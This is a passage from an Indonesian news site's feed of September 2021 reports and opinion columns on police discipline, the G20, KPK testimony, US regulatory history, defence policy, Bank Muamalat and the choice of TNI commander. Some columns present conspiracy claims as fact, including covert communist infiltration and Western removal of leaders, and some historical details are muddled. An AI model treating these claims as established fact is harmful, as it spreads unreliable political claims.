membantai 1900 an santri dan ulama. Relief Monumen Kresek diantaranya menggambarkan kejahatan kemanusiaan komunis tersebut. TNI dan umat Islam adalah musuh abadi komunis. Berbasis slogan kerakyatan dan anti agama komunis bergerak secara terang terangan maupun melalui penyusupan. Berbasis pada doktrin Revolusi Kebudayaan Mao Ze Dong, komunis di negeri ini berperilaku radikal, intoleran dan sadis. Kini stop menembak umat Islam dengan isu radikal dan intoleran. Penyusup komunis berada di berbagai institusi sedang bersembunyi dan melakukan konsolidasi. Merekalah para penembak gelap yang sedang membunuhi umat Islam dengan menembakan peluru radikal dan intoleran. Memperalat pejabat, aparat, bahkan ulama. Ayo TNI dan umat Islam bersatulah untuk melawan kelompok radikal dan intoleran komunis. Mereka itu ada dan bersembunyi di balik ketiadaan. Membual dan menyebarkan fitnah, kegaduhan serta adu domba. Bahaya negara ada di belakang mata. Di balik pintu Istana. *) Pemerhati Politik dan Kebangsaan

Buntut Penganiayaan Terhadap Kece, Propam Periksa Kepala Rutan Bareskrim

Jakarta, FNN - Divisi Profesi dan Pengamanan (Div Propam) Polri, Selasa, 21 September 2021, memeriksa kepala rumah tahanan negara (Rutan) Bareskrim dalam kasus dugaan penganiayaan Muhammad Kosman alias Muhammad Kece. Kepala Div Propam Polri Inspektur Jenderal (Irjen) Ferdy Sambo menyebutkan, total ada tujuh anggota Polri yang sudah diperiksa. Antara lain, kepala rutan dan petugas penjaga tahanan Rutan Bareskrim Polri. "Hari ini (Selasa, red), Divisi Propam Polri telah menyelesaikan pemeriksaan terhadap anggota Polri dalam kasus penganiayaan Muhammad Kece," kata Sambo, sebagaimana dikutip dari Antara. Menurut Sambo, pemeriksaan terhadap kepala rutan dan enam petugas penjaga tahanan itu meliputi penyelidikan awal, penyidikan, dan penyusunan resume untuk gelar perkara. Pemeriksaan bagi anggota Polri itu, kata Sambo, berdasarkan PP No 2/2003 pasal 4 (d) dan (f) yakni pelanggaran disiplin, tidak melaksanakan disiplin, tidak melaksanakan SOP (Standar Operasiol Prosedur) dalam melakukan jaga tahanan, pelanggaran terkait peraturan kedinasan. Selain tujuh anggota Polri yang bertugas di Rutan Bareskrim Polri, Div Propam Polri juga melakukan pemeriksaan terhadap satu orang tahanan berinisial H alias C, sebagai saksi. H alias C merupakan tahanan sipil. Pemeriksaan sebagai saksi terkait pelanggaran etik dan profesi yang diduga dilakukan anggota Polri, pada saat penganiayaan terjadi. Salain itu, kata Sambo, pihaknya juga berencana memeriksa Irjen Napoleon Bonaparte. Akan tetapi, pemeriksaan tersebut masih menunggu izin dari Mahkamah Agung. "Divisi Propam Polri belum melakukan pemeriksaan terhadap Irjen NB karena masih harus menunggu izin dari Mahkamah Agung," kata Sambo. Izin tersebut terkait dengan status Napoelon Bonaparte sebagai tahanan perkara suap dan penghapusan red notice Djoko Tjandra yang sedang mengajukan kasasi ke Mahkamah Agung. "Nanti akan dilaksanakan gelar perkara di Biro Provos guna menentukan siapa saja yang lalai dalam kejadian tersebut," kata Sambo. (MD),

Demokrasi dan Rule of Law, Cara Oligarki Kendalikan Penguasa

by Dr. Margarito Kamis SH. M.Hum. Jakarta FNN - State regulatory body atau commission, yang dalam studi tata negara juga disebut “auxelarry body”, bukan badan yang diatur UUD. Sama sekali bukan. Badan yang status organiknya bersifat independen ini, merupakan temuan terhebat oligarki Amerika. Badan ini disodorkan oleh kelompok penghisap seluruh sumberdaya ekonomi sebagai cara mereka melepaskan diri dari pengawasan langsung pemerintah. Dalam kasus Amerika, hambatan non tarif dagang antar negara bagian, monopoli angkutan barang, dan diskriminasi harga, semuanya tersambung dengan perilaku korporasi. Rockeffeler dengan standard Oilnya, berada di jantung utama menjadi salah satu sebab pembentukan Interstate Commerce Commission Act (ICC) tahun 1887. Sebab lain adalah adanya kenyataan korporasi telah megambil watak “trust.” Konsep yang saat itu belum menggema di Amerika, merupakan temuan hebat J.P. Morgan. Kombinasi sebab-sebab itu dipakai oleh Grover Cleveland (1885-1889), sang Presiden pro bisnis besar Sherman Act 1890. UU ini melarang semua bentuk monopoli, kombinasi, konspirasi pengaturan harga antar beberapa orang atau monopoli perdagangan di negara-negara bagian. Sukses? Tidak juga. Standar Oil jatuh tahun 1911 bukan karena UU ini. Investigasi Ida Tarbel, investigasi wartawan kawakan Majalah McLure’s menjadi sebab utamanya. Kala itu investigasi khas Ida Tarbel disebut “muckraker.” Terbuai dengan ide institusionalisasi, muncul lagi gagasan mengontrol lebih keras kelakuan para oligarkis ini. Korporasi terlihat seolah-olah mau dipukul habis melalui penciptaan sejumlah UU. Nyatanya yang terjadi adalah UU yang dibuat dalam masa krisis ekonomi hebat 1913-1921 itu justru menebalkan cengkeraman korporasi besar. Itulah dekorasi utama pemerintahan Woodrow Wilson. Wilson dan kongres merespon kenyataan itu melaui gagasan Federal Trade Commission (FTC 1914). Ini diatur dalam Clayton Act (Hendry Clayton, chairman house judiciary committee sebagai pemrakarsa). Nama resmi UU ini adalah Anti Trust Act. Sukseskah? Tidak juga. Korporasi naik lagi bersamaan dengan datangnya krisis ekonomi hebat tahun 1929-1933. Pemerintahan Franklin Delano Rosevelt (FDR) merespon krisis itu. Sangat agresif. Berbeda jauh dengan Herbert Hoover. Franklin D. Rosevelt, memang bukan kaki tangan oligarkis. FDR segera melukis pemerintahannya dengan Monetary dan Reconstruction Finance Corporation Policy. Kerbijakan itu diawali dengan pembentukan The Banking Act 1933. Belum cukup mengeliminasi laissez-faire ineviciency, dua tahun kemudian UU ini direvisi. Kongres segera membentuk The Banking Act 1935. Reymon Moley, Rex Tugel, Adolf Berle yang dilebeli “Brain Trust” dan “Trust Busting”, berada dibalik lahir kebijakan itu. Berle misalnya mengadvokasi pembentukan The Banghkin Act 1935. Menututnya, itu merupakan cara tepat menyingkirkan infesiensi ekonomi, khususnya di bidang keuangan. Berputar disekitar monetary policy untuk macro economy stabilization, pemerintah FDR segera keluarkan kebijakan yang terlihat melindungi masyarakat. Disodorkanlah kebijakan-kebijakan penukaran emas dengan surat berharga. Surat berharga itu dapat diuangkan di bank. Tetapi, ini yang menarik. Ketika surat-surat berharga itu dibawa ke bank, mereka menemukan kenyataan Bank telah diliburkan. Ini dikenal dengan “Bank Holiday”. dikenal juga sebagai “massacre day”. Kemana saja perginya emas-emas itu? Pergi ke Bank of England. Korporasi terus berpesta. Dengan dalih memukul omong kosong free market, Kongres segera membentuk The Securities and Exchange policy. Segera dibentuklah The Securities and Exchanges Commission (SEC; 1934). Kebijakan itu dikokohkan dengan Federal Deposit Insurance Corporation. Juga Federal Home Bank Loan, Federal Saving and Loan Insurance Corporation, Federal Kredit Union, dan the National Mortage Association. Semua kebijakan di atas melengkapi Federal Homes Loan Bank Act 1932 yang diteken oleh Hoover. Pemerintah FDR mengeluarkan Home Owners Loan Act (HOLA). Dalam HOLA ini, diatur pembentukan Federal Housing Administration. Terlihat manis, pemerintah FDR segera mengidfentifikasi komunikasi sebagai satu masalah di tengah putaran waktu krisis itu. Ini harus dibereskan. Kongres merespon. Kongres membuat the Federal Communication Commission (FCC 1934). Ini dituangkan dalam Federal Communication Act. Tahu bahwa kekacauan sosial selalu memanggil partner utamanya, yaitu instabilitas politik, maka masyarakat harus diberikan perhatian. Itulah gagasan yang harus dimengerti dari “Social Infrastructure Policy.” Dalam kerangka itulah dibentuk Social Security Act, dan lainnya yang sejenis dalam sifatnya. Memang secara teknis, Social Security Act itu bertujuan melakukan “stabilisasi ekonomi makro”. UU ini menyediakan jaminan untuk meraka yang tidak mempunyai pekerjaan, unemployment insurance, jaminan bagi para pensiunan, bantuan kepada anak-anak, dan program jaminan sosial lainnya. UU dalam gagasan awalnya dirancang sebagai cara memberi kepastian berkerlanjutan dan permanen terhadap peningkatan stok rumah secara nasional. Program ini tampak memungkinkan semakin banyak orang memiliki rumah. Ditujukan terutama kepada mereka yang berusia diatas 33 tahun. Bahu-membahu dengan pemerintah, Felix Frankfurther, Tomy Corcoran, James Landis dan Ben Cohen, eksponen utama “korporatis group,” seperti Merle dan kawan-kawan mengadvoksasi pembentukan National Labor Relation Act. Canggih cara kerjanya. Sebab mereka hanya mengadvokasi, dan Senator Robert Wagner yang memprakarsai pembentukan UU itu. Itu sebabnya UU sering disebut Wagner Act. UU ini memberi pekerja priveleg. UU ini mengatur apa yang dikenal dengan Labour Relation Board, yan bersifat independen. Apakah kehidupan berubah setelah itu? Mereka tetap saja buruh. Upah tetap saja menjadi soal. Satu-satunya yang terlihat hebat dari UU ini adalah buruh diberi kebebasan berserikat. Itu saja. Tidak lebih. Itulah demokrasi dan rule of law khas kaum oligarki. Pembaca FNN yang budiman, The Bankin Act 1933-1935 benar-benar merupakan cara licik oligarki mengisolasi, membatasi dan memotong ruang lingkup jangkauan kewenangan presiden. Kewenangan presiden itu dipotong dengan cara memberi sifat “independen” pada badan yang disebut regulatory body atau commission itu. Tidak mengherabnkan American Bar Aassociation (ABA) menemukan kenyataan New Deal Policy adalah cara pemerintah federal, yang bekerja dibawah kendali oligarki memperluas kekuasaan pemerintahan federal. Administrative agency, termasuk badan-badan independen itu diidentifikasi sebagai siasat institusional pemerintah pusat memperluas kekuasaannya. ABA atas dasar penilaian itu segera membentuk special committee on administrative law. Mereka memeriksa semua UU itu. Enam tahun mereka bekerja, adminsitrative agency segera diidentifikasi sebagai “administrative absolutism.” Amerika di sepanjang periode ini, dalam identifikasi mereka, ditarik dan dijatuhkan ke dalam totalitarianism. Roscou Pound, sosiolg kenamaan yang pandangannya tentang hukum begitu populer di Indonesia, kala itu bertindak sebagai salah satu chair-nya. Pound menyangkal independent commission yang diagungkan para politisi, karena diisi oleh para expert. Dalam kenyataan, Pound menilai tidak ada korelasi signifikan antara para expert dengan eksistensi independent commission. Pembaca FNN yang Budiman. Pemerintahan Franklin D. Rosevelt dengan New Dealnya dikenal juga sebagai “pemerintahan korporatis”. Bukan demokrasi, periode ini dilebel dengan korporatokrasi. Begitulah demokrasi dan rule of law di negara demokrasi sekelas Amerika. Rakyat menari dengan demokrasi sejauh bicara-bicara di satu sisi. Pada sisi oligarki, demokrasi memungkinkan mereka mendikte pemerintah membuat kebijakan dan menulis huruf-huruf dalam setiap UU. Bagaimana dengan demokrasi dan rule of law dinegeri kita? Mirip dalam banyak aspek. Kemiripan ini terlihat pada tampilan emprik KPK. Badan ini dirancang sedemikian canggih sehingga harus benar-benar berada di luar jangkauan UUD 1945 dan kekuasaan Presiden. Pembaca FNN yang berbahagia. Konsep independen untuk badan yang disebut regulatory body sejenis KPK dan Bank Indonesia itu, dalam sejarahnya digagas oleh Kolonel Edward Mandel House, mentor politik Presiden Wodroow Wilson. Orang ini juga yang berada dibalik gagasan Internatization liberty, pijakan kebijakan“self determination” untuk negara-negara yang hingga tahun 1919 itu masih terjajah. Konsep independent itu diambil dari pengadilan, dan disematkan untuk pertama kalinya pada The Fed. Sebagai konsekuensinya Presiden tidak bisa mengurus urusan-urusan pemerintahan itu. Ini yang di tahun 1935 ditunjukan oleh special committee American Barr Association sebagai totalitarianism dan administrative absolutism. Di jalan itulah Indonesia mutakhir merenda dengan takdir demokrasi dan rule of law-nya. Rakyat terus berpesta dengan kritik demi kririk kepada pemerintah di satu sisi. Namun di sisi lain pemerintah terus asyik dengan nadanya sendiri. Sistem politik, setidaknya sistem pengisian anggota DPR, terdekorasi manis sekali dengan diskriminasi yang level primitifnya begitu telanjang. Diskriminasi tersebut diinstitusionalisasi ke dalam parlementary treshold dan presidential treshold. Hukum itu? Namun sama busuknya. Mempertahankan hak, mulai kehilangan pijakan keabsahannya. Itulah sumbangan kecil mematikan dari UU Cipta Lapangan Kerja. Konyol sekali bangsa ini. Penulis adalah Dosen Fakultas Hukum Universitas Khairun Ternate

Presidensi G20 2022 Bisa Beri Manfaat Ekonomi yang Panjang

Jakarta, FNN - Wakil Ketua Umum Kamar Dagang dan Industri (Kadin) Indonesia Bidang Maritim, Investasi, dan Luar Negeri Shinta Kamdani mengatakan, Presidensi G20 2022 bisa memberikan manfaat ekonomi yang panjang bagi Indonesia. "Saya rasa kalau kita bisa proaktif dan sistematis memanfaatkan momentum itu, presidensi Indonesia di G20 bisa memberikan manfaat ekonomi yang lebih lasting karena promosi, showcasing, dan branding Indonesia yang kita lakukan sepanjang presidensi tersebut," kata Shinta kepada Antara di Jakarta, Selasa, 21 September 2021. Ia mengatakan, sepanjang Presidensi G20 2022, Kadin akan bekerja sama dengan pemerintah menyelenggarakan pertemuan-pertemuan selain agenda utama. "Pertemuan-pertemuan sela itu bisa memperlihatkan potensi-potensi ekonomi dan investasi di Indonesia sehingga kita bisa memperoleh sesuatu yang lebih konkret secara ekonomi dari G20," kata Shinta. Ia berharap pertemuan G20 dapat diselenggarakan secara offline atau langsung agar dapat mengungkit perekonomian ketika pertemuan dilakukan. "Presidensi Indonesia untuk G20 di 2022 adalah ajang showcasing Indonesia ke pelaku usaha global. Khususnya dalam menciptakan international recognition, meningkatkan visibility, dan positive branding terhadap Indonesia sebagai negara berkembang. Bukan hanya sebagai pasar yang besar, tetapi juga sebagai negara yang sangat adaptif dan transformatif terhadap ekonomi global dan sebagai negara tujuan investasi," ujarnya. Shinta juga berharap negara-negara G20 fokus membahas percepatan pemulihan ekonomi global dari dampak COVID-19 yang akan berpengaruh terhadap perekonomian Indonesia. Ia berharap agar Presidensi G20 juga mengedepankan agenda pertumbuhan ekonomi yang inklusif. Khususnya terhadap kepentingan negara berkembang dan pelaku usaha Indonesia termasuk Usaha Mikro, Kecil, dan Menengah (UMKM) "Sehingga kita diakomodasi untuk bertumbuh secara berkelanjutan dengan memanfaatkan potensi pasar global. Bukan hanya mengikuti wacana atau trend ekonomi global yang sentral pada kepentingan negara maju, tetapi juga terhadap kebutuhan negara berkembang," ucapnya. (MD).

Anies Baswedan Senang Bisa Bantu Tugas KPK

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengaku senang bisa membantu tugas Komisi Pemberantasan Korupsi (KPK) dalam mengungkap dugaan korupsi di Badan Usha Milik Daerah (BUMD) DKI, Sarana Jaya. "Alhamdulillah, senang sekali bisa terus membantu tugas KPK. Siang tadi memberikan keterangan untuk membantu KPK dalam menegakkan hukum dan memberantas korupsi terkait dengan sangkaan kasus korupsi di Perumda Pembangunan Sarana Jaya," kata Anies melalui akun Instagram @aniesbaswedan di Jakarta, Selasa, 21 September 2021. Anies mengaku beberapa kali ikut membantu rangkaian kegiatan KPK. Antara lain, pada 2013 bertugas sebagai Ketua Komite Etik KPK. Kemudian pada 2009, lanjut dia, pernah bertugas sebagai Anggota Tim Delapan KPK. Anies juga mengungkapkan saat menjadi rektor di salah satu kampus, pihaknya menjadikan mata kuliah anti korupsi sebagai mata kuliah dasar umum yang wajib diikuti oleh semua mahasiswa. Ia menyebut satu-satunya kampus yang menjadikan anti korupsi sebagai mata kuliah dasar umum, bukan sekadar mata kuliah pilihan. "Ini semua adalah bagian dari ikhtiar kita dalam kapasitas apa pun supaya terus-menerus mendukung usaha memerangi korupsi. Termasuk, membantu KPK dalam menjalankan tugasnya memberantas korupsi," katanya, sebagaimana dikutip dari Antara. Ia berharap, keterangan dan penjelasan yang disampaikan kepada penyidik KPK bermanfaat serta bisa ikut membantu menuntaskan proses penegakan hukum soal dugaan korupsi di Sarana Jaya. Sebelumnya, Anies Baswedan memenuhi panggilan KPK guna dimintai keterangan soal dugaan korupsi di Sarana Jaya. Anies mengaku ditanya delapan pertanyaan oleh penyidik KPK seputar program pengadaan rumah di DKI Jakarta. (MD).

Membangun Hankam Indonesia

Oleh: Daniel Mohammad Rosyid Seminggu terakhir ini wacana publik sebagian diwarnai oleh konflik yang meningkat di kawasan Laut Natuna Utara yang oleh China disebut Laut China Selatan. Konflik itu lalu diwarnai oleh pembatalan kontrak pembuatan kapal selam nuklir oleh Perancis pesanan Australia. Australia secara mendadak berpaling dengan memilih Inggris dan AS dalam pengembangan kemampuan nuklirnya. Eropa sekali lagi dihinakan oleh Inggris dan AS. Penting dicermati bahwa negara-negara yang dengan congkak menyebut dirinya maju itu sangat bergantung pada nuklir. Sementara itu Menhan Prabowo juga memilih Inggris untuk pengadaan Fregate terbaru bagi TNI AL yang akan dibangun oleh PT. PAL Indonesia. Indonesia sebelumnya telah memilih Korea Selatan dalam pengembangan armada kapal selam konvensionalnya. Belum lama ini Indonesia sempat menyatakan kekhawatirannya dengan nuklirisasi kawasan Indo-Pasific melalui pengadaan kapal selam nuklir oleh Australia ini. Penting dicermati bahwa Barat berusaha mempertahankan dominasinya sejak PD II dengan dua instrumen utama : penguasaan nuklir untuk persenjataan dan sumber energi, maupun US Dollar. China dan Rusia adalah penantang serius dominasi ini. Dominasi Barat ini diperkuat secara melembaga dalam PBB. Setiap ancaman nuklir oleh negara ataupun non-state actors yang tidak bersahabat dengan Barat dan penolakan atas monopoli US Dollar dalam perdagangan internasional akan dihadapi dengan keras, jika perlu dengan perubahan rezim yang telah menang Pemilu demokratis sekalipun. Baik De Gaulle, Soekarno, bahkan JF Kennedy sekalipun harus disingkirkan. Indonesia menjadi miskin bukan karena rakyatnya malas, bodoh dan korup, tapi karena dicegah untuk menguasai teknologi nuklir sebagai sumber energi bagi pembangunan, maupun harus menggunakan US Dollar untuk ekspor impornya. Sejak Orde Baru, perampokan besar atas kekayaan Indonesia itu dilakukan secara sistematik melalui perdagangan internasional ribawi yang sangat tidak adil. Ini adalah pemiskinan struktural dalam skala global. Pada saat konsumsi energi perkapita nasional Indonesia hanya sepersepuluh Barat sekitar 700 liter setara minyak pertahun, maka bangsa ini pasti akan tetap miskin. Jika beruntung akan bertahan pada posisi bangsa dengan pendapatan menengah. Tanpa PLTN kita tidak pernah mampu mengejar ketertinggalan ini dan menjadi negara maju. PLTN tidak saja menghasilkan listrik yang murah, tapi juga relatif bebas polusi selama tidak mengalami kebocoran. Setelah Donald Trump menarik AS dari perjanjian pembatasan nuklir, dalam perspektif pertahanan dan keamanan, kecenderungan nuklirisasi saat ini sangat berbahaya. Setelah pandemi ini, manusia sebagai spesies terorganisir terancam eksistensinya oleh perubahan iklim dan perang nuklir. Kedua yang terakhir jauh lebih merusak daripada perang biologis selama 16 bulan terakhr ini. Secara domestik, seperti terlalu banyak sekolah justru diikuti oleh kemunduran pendidikan, pembesaran polisi justru mulai menurunkan keamanan. Prinsip U-terbalik itu bisa berlaku untuk pertahanan: terlalu banyak senjata canggih yang mensyaratkan energi yang makin besar, kesehatan justru menurun dan pertahanan makin rapuh. Status pertahanan kita mungkin saat ini belum mencapai point of diminishing return. Pertahanan meningkat dengan hidup sederhana, hemat energi, dengan teknologi lebih konvivial. Pada saat AS mundur dari Afghanistan, perubahan rezim sedang terjadi di Jerman dan Jepang. Kedua anggota jangkar G7 ini untuk pertama kalinya menyatakan kemerdekaannya dari dominasi AS sejak PD II. Tanpa kedua negara itu, G7 tidak akan berarti apa-apa. Tidak ada negara G7 manapun yang cukup bodoh untuk membom nuklir negeri kepulauan yang kaya raya ini. Lebih menguntungkan jika bangsa ini ditundukkan dengan mantra sekulerisasi, demokrasi, standard, dan riba. Kekayaan negara ini terus mengalir ke G7 tanpa kita sadari. This must stop immediately. Saatnya sekarang. KA Agro Bromo Anggrek, 21/9/2021. Penulis adalah Guru Besar ITS

Harapan Baru Bank Muamalat Reborn

by Tarmidzi Yusuf Bandung FNN - Baru-baru ini ummat Islam dapat kabar baik. Bank Muamalat, PT. Perusahaan Pengelola Aset (Persero) dan Badan Pengelola Keuangan Haji (BPKH) resmi menandatangani Perjanjian Induk Restrukturisasi atau Master Restructuring Agreement (MRA), Rabu 15 September 2021 disaksikan oleh Menteri Badan Usama Milik Negara (BUMN), Erick Thohir. Dalam MRA antara Bank Muamalat dan BPKH ini diatur mengenai hubungan hukum yang menjadi dasar pelaksanaan transaksi yang akan dilakukan secara terpisah di kemudian hari. Misalnya, penerbitan dan pembelian instrumen berbasis syariah (sukuk). Begitu pula dengan perjanjian pengelolaan aset pembiayaan berkualitas rendah milik Bank Muamalat. Dengan demikian, PT. PPA resmi menjadi pengelola aset berkualitas rendah milik PT Bank Muamalat Tbk. Pengelolaan aset ini sejalan dengan langkah bank syariah tersebut untuk melakukan penguatan modal. Perjanjian ini merupakan tamparan keras bagi Manajemen Bank Muamalat setelah terpuruk dalam pengelolaan aset dan modal Bank Muamalat. Sebagaimana kita ketahui, Bank Muamalat dalam lima tahun terakhir sedang menghadapi masalah keuangan yang serius. Dimana Dewan Komisaris dan Dewan Direksi Bank pertama yang murni syariah tersebut, selalu gagal dalam mendapatkan investor baru. Menurut catatan penulis, rencana penyelamatan Bank Muamalat melalui rights issue selalu gagal. Berdasarkan RUPSLB 20 September 2017 diputuskan MINAPADI sebagai standby buyer. MINAPADI gagal masuk Bank Muamalat. Selanjutnya, berdasarkan RUPSLB yang diselenggarakan pada 28 Juni 2018 diputuskan pula Lynx Asia and SSG Capital sebagai standby buyer. Lagi-lagi manajemen gagal dalam mengelola dan mendapatkan investor. Selanjtnya pada tahun 2019 diselenggarakan dua kali RUPSLB dalam rangka rights issue. Pertama RUPSLB, 17 Mei 2019 dan Kedua pada 16 Desember 2019. Keputusannya sama. Al-Falah sebagai standby buyer. Gagal untuk keempat kalinya. Terakhir, RUPSLB pada 29 April 2021. Manajemen Bank Muamalat kembali gagal menghasilkan calon investor baru. Standby buyerpun tidak ada. Kegagalan Manajemen Bank Muamalat dalam lima kali rights issue tersebut. Kemungkinan disebabkan buruknya kinerja Manajemen Bank Muamalat dalam memperbaiki kinerja keuangan Bank Muamalat. Malah semakin terpuruk hingga semester I 2021. Berdasarkan laporan keuangan Bank Muamalat semester I 2021, hanya mampu meraup laba bersih Rp 4,903 miliar. Turun tipis jika dibandingkan periode sama tahun 2020. Padahal, aset Bank Muamalat per semester I 2021 terbilang cukup besar, yaitu Rp 51,621 triliun atau naik sekitar Rp 380 miliar dari tahun 2021, yaitu Rp 51,241 triliun. Demikian pula dengan aset dan laba bersih Bank Muamalat mengalami penurunan dari tahun ke tahun. Laba bersih Bank Muamalat tahun 2019 tercatat Rp 16 miliar, anjlok sebesar Rp 30 miliar jika dibandingkan tahun 2018. Tahun 2018 masih meraih laba bersih mencapai Rp 46 miliar. Selain itu, Return on Asset (ROA) atau tingkat perputaran aset dalam tiga tahun terakhir terus melorot. Tahun 2018 ROA Bank Muamalat sebesar 0,08%, turun pada tahun 2019 menjadi 0,05%. Terakhir, tahun 2020 hanya 0,03%. Demikian pula dengan tingkat pengembalian modal (ROE) Bank Muamalat sangat rendah. Pada tahun 2018 ROE Bank Muamalat turun dari 1,16% menjadi 0,45% pada tahun 2019 dan 0,29% tahun 2020. Dibalik rendahnya kinerja Manajemen, dan upaya penyelamatan Bank Muamalat. Terutama pasca tturun gunungnya Wakil Presiden KH. Ma'ruf Amin, BPKH bersama tokoh-tokoh ummat Islam pasca RUPLSB Bank Muamalat yang digelar 30 Agustus 2021 mulai membuahkan hasil. Patut kita apresiasi dan ucapkan terima kasih atas kerja keras Wakil Presiden KH. Ma'ruf Amin, Erick Thohir, ICMI, MUI, BPKH, para tokoh Islam dan para pendiri Bank Muamalat dalam menyelamatkan aset kebanggaan ummat Islam. BPKH direncanakan dalam waktu kurang dari dua bulan lagi bakal mengucurkan dana segar untuk penyehatan Bank Muamalat. BPKH akan menjadi pemegang saham pengendali di Bank Muamalat. Bahkan, Bank Muamalat ke depan akan menjadi lini usaha BPKH. Kerjasama PT. PPA dan Bank Muamalat dalam pengelolaan aset Bank Muamalat agar aset Bank Muamalat lebih produktif. Bayangkan, tingkat perputaran aset Bank Muamalat yang beraset tahun 2020 Rp 51, 241 triliun hanya 0,03% dan tingkat pengembalian modal cuma 0,29%. Kerjasama Bank Muamalat dengan PT. PPA dan masuknya BPKH sebagai pemegang saham memberikan harapan baru bagi ummat Islam. Bank Muamalat akan kembali pada masa keemasannya seperti ditorehkan oleh Manajemen Bank Muamalat ketika itu. Sebagaimana kita ketahui, puncak keemasan Bank Muamalat terjadi pada tahun 2008 dengan ROE sebesar 33,14%. Harapan besar ummat Islam pasca masuknya BPKH, Bank Muamalat kembali berjaya dengan tampilnya manajemen baru Bank Muamalat yang berintegritas, profesional dan mempunyai ghirah keislaman sebagai pejuang ekonomi syariah menuju Bank Muamalat sebagai bagian dari ekosistem ekonomi syariah di Indonesia. Tidak berlebihan bila pergantian Dewan Komisaris dan Dewan Direksi Bank Muamalat sebagai hal yang urgent. Setidaknya akan menjawab keraguan dan pesimisme publik. Apalagi BOC dan BOD layak diberi raport merah. Dua kegagalan dalam rights issue dan memperbaiki kinerja keuangan perseroan. Lebih khusus ummat Islam sebagai nasabah terbesar Bank Muamalat, bank kebanggaan pertama milik ummat Islam berharap banyak terhadap Bank Muamalat. Penulis adalah Pemerhati Ekonomi Syariah.

Presiden Butuh Sosok Panglima yang Mampu Tegas dalam Bersikap

Oleh: Mochamad Toha Beragam analisa pakar perihal siapa calon Panglima TNI penganti Marsekal Hadi Tjahjanto yang memasuki masa pensiun pada November 2021 mulai mengemuka di berbagai media. Republika.co.id, Jumat (10 Sep 2021 08:46 WIB), misalnya menulis, KSAD Jenderal Andika Perkasa bersaing dengan KSAL Laksamana Yudo Margono menjadi calon Panglima TNI. Itu disampaikan oleh Direktur Rumah Politik Indonesia, Fernando Ersento Maraden Sitorus, yang punya analisa soal isu reshuffle yang mengemuka pasca masuknya PAN ke Kabinet Presiden Joko Widodo. Menurutnya, dalam reshuffle yang akan datang kemungkinan besar posisi Panglima TNI yang akan ditinggalkan Hadi Tjahjanto akan diisi KSAL Yudo Margono. Menurutnya, Presiden Jokowi akan tunduk pada ketentuan yang diatur UU TNI. “Berdasarkan UU matra AL berkesempatan mengisi posisi posisi Panglima TNI. Selain itu Presiden Jokowi juga berkepentingan untuk tetap menjaga soliditas dukungan TNI,” kata Fernando, Kamis (9/9/2021). Fernando memprediksi KSAD Andika Perkasa tak akan menjabat Panglima TNI karena melangkahi ketentuan. Menurutnya, Presiden Jokowi akan mempercayakan kepada Andika untuk memimpin BIN. “Panglima TNI sebelum Hadi Tjahjanto dua kali berturut-turut dari matra AD yaitu Moeldoko dan Gatot (Nurmantyo),” ujar Fernando. “Presiden Jokowi (juga) memerlukan dukungan yang solid dari TNI sehingga menjadi alasan kuat untuk mempertahankan tradisi yang diatur oleh UU,” tambahnya. Selanjutnya, Kepala BIN Budi Gunawan akan dipercaya untuk memimpin Kemenko Polhukam menggantikan Mahfud MD. Menurut Fernando, Budi Gunawan merupakan orang kepercayaan di lingkaran satu. “BG yang sangat memberikan peran penting terhadap situasi negara pasca pilpres 2019 sangat dibutuhkan oleh Presiden Jokowi untuk mengisi Menko Polhukam,” ungkap Fernando. Menurut Fernando, Mahfud MD yang merupakan guru besar hukum sangat dibutuhkan Jokowi untuk mengisi posisi Jaksa Agung. Senada dengan Republika, tulisan Kompas.com, Selasa (14/09/2021, 12:31 WIB) juga mengarah kepada dua sosok yang disebut Fernando. Pengamat militer dari Institute for Security and Strategic Studies (ISESS) Khairul Fahmi mengatakan, kandidat Panglima TNI masih berkutat di antara dua nama: Andika Perkasa dan Yudo Margono. Menurut dia, belum pernah terjadi pergantian Panglima TNI dari matra yang sama selain dari TNI AD. Ia menilai, Andika Perkasa memiliki peluang besar untuk menjadi Panglima TNI. Sementara Yudo Margono, peluangnya terus menguat seiring waktu. “Peluang Andika Perkasa memang cukup besar jika pergantian Panglima TNI dilakukan dalam waktu dekat dan penundaan akan sangat berdampak pada peluang keterpilihan Andika,” ujarnya, Selasa (14/9/2021) pagi. “Peluang Yudo Margono cenderung terus menguat seiring waktu. Relatif tak ada masalah baginya dan bagi organisasi TNI, jika pergantian dilakukan sekarang ataupun menjelang masa pensiun Hadi Tjahjanto,” imbuh dia. Secara politik, Fahmi menyebut, kebutuhan Presiden Jokowi hari ini adalah mendapatkan para pembantu dengan loyalitas tanpa reserve, terutama untuk memuluskan agenda-agenda politik dan pemerintahan. Dari situ, bisa dilihat bahwa tidak ada barrier dalam relasi antara Jokowi dan Yudo Margono. Namun hal itu sekaligus menunjukkan bahwa Yudo tidak punya endorser yang sangat kuat untuk menggaransi dirinya terpilih. Sedangkan, Andika Perkasa itu memiliki endorser kuat sekaligus barrier. “Melalui sosok ayah mertuanya, Hendropriyono, maupun dari beragam pernyataan dukungan dari sejumlah politisi dan tokoh,” tuturnya. Namun ia menyatakan, pergantian Panglima TNI merupakan sebuah proses politik, di mana Presiden mengusulkan, lalu DPR akan menilai sebelum memutuskan setuju atau tidak dengan pilihan Presiden. Akan tetapi, yang tidak patut adalah jika para “bakal calon” ini kemudian menggunakan instrumen atau kekuatan politik tertentu untuk memperkuat peluang untuk dipilih Presiden. Seperti contoh melalui komunikasi dan negosiasi politik yang ditampakkan dari dukungan maupun pernyataan politisi yang menunjukkan keunggulan calon tertentu dibandingkan calon lainnya. Melansir Gatra.com, Senin (13 Aug 2021 01:13), Direktur Eksekutif Center for Social Political Economic and Law Studies (CESPELS), Ubedilah Badrun, mengatakan, Panglima TNI bisa dijabat secara bergatian oleh perwira tinggi aktif dari setiap matra. Dosen Universitas Negeri Jakarta tersebut mengungkapkan, ketentuan itu sebagaimana diatur dalam Undang-Undang Nomor 34 Tahun 2004. Atas dasar itu, panglima TNI biasanya dijabat secara bergilir oleh tiap perwira dari Angkatan Darat, Angkatan Laut, dan Angkatan Udara. Menurutnya, pengangkatan ini bersifat kultural, bukan struktural. Jika merujuk pengisian jabatan Panglima TNI sebelumnya, lanjut Ubedilah, pengganti Marsekal Hadi Tjahjanto nanti adalah giliran dari Angkatan Laut. Ubedilah menilai, KSAL Laksamana Yudo Margono, memenuhi syarat untuk mendapuk Panglima TNI mendatang. Yudo meniti karier dengan pendidikan militer terbaik. Karier militer yang pernah dirintis Yudo di TNI, yakni menjadi Panglima Komando Gabungan Wilayah Pertahanan 